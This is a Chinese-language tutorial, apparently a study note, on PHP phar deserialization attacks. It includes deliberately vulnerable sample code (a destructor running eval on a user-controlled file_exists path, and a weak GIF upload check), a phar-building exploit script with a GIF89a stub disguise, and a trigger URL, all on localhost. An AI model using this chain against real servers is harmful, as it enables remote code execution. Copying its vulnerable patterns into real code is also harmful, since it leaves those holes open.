在漏洞的利用过程之中,我们需要先本地生成phar格式的文件,
而生成phar格式的文件,需要将php.ini中的phar.readonly配置项配置为0或Off。
目标服务器端是不必开启此配置,服务器仅仅是读取就可以触发漏洞
该配置默认为On
漏洞原因,
通过phar伪协议读取phar格式的文件,会自动反序列化文件内的代码
而很多的函数都是支持使用phar伪协议
漏洞限制,
~phar文件要能够上传到服务器端
~并且要有file_exists(),fopen(),file_get_contents(),file()等文件操作的函数且参数可控
~要有可用的魔术方法作为“跳板”
~文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。
先修改phar.readonly为Off,重启phpstudy,
aaa.php
<?php
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ('phar://xx.xx');
?>
根据示例代码,本地构造exp.php
<?php
class TestObject{
}
$phar = new Phar("phar.phar"); //实例一个phar对象供后续操作;
//名称任意但是后缀必须是phar,否则会报错;比如
//$phar = new Phar("renyi.phar");
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub(""); //设置识别phar拓展的标识stub
//下边两行就是根据示例代码产生的exp代码,、
//理论上别的代码不需要动,理解为固定格式即可
$o = new TestObject();
$o -> data = 'demoxbb';
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>
访问生成phar.phar文件
以二进制模式打开该文件,
因为aaa.php内phar协议读取的文件是xx.xx,所以我们将phar.phar文件改名为xx.xx,
访问aaa.php文件,内容被反序列化,
上边的示例,服务端写死读取文件为xx.xx
实际之中,可能存在的是以下demo,
file_un.php
(存在file_exists(),并且存在__destruct(),漏洞点)
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>
upload_file.php
看到后端处理上传的文件,校验了上传的文件是不是gif
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
先构造payload文件,exp.php内容如下
<?php
class AnyClass{
}
$phar = new Phar("xxx.phar"); //实例一个phar对象供后续操作
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub('GIF89a'.'');
//下边两行就是根据示例代码产生的exp代码,
$o = new AnyClass();
$o -> output = 'phpinfo();';
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>
将生成的xxx.phar修改名称为"xbb.gif",
然后构造上传html文件,
upload_file.html:
<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
上传成功,到网站upload_file目录下(需要手动创建该目录,否则会报错)
然后,使用伪协议包含上传的phar文件,这个phar://不要漏写,
http://127.0.0.1/file_un.php?filename=phar://upload_file/xbb.gif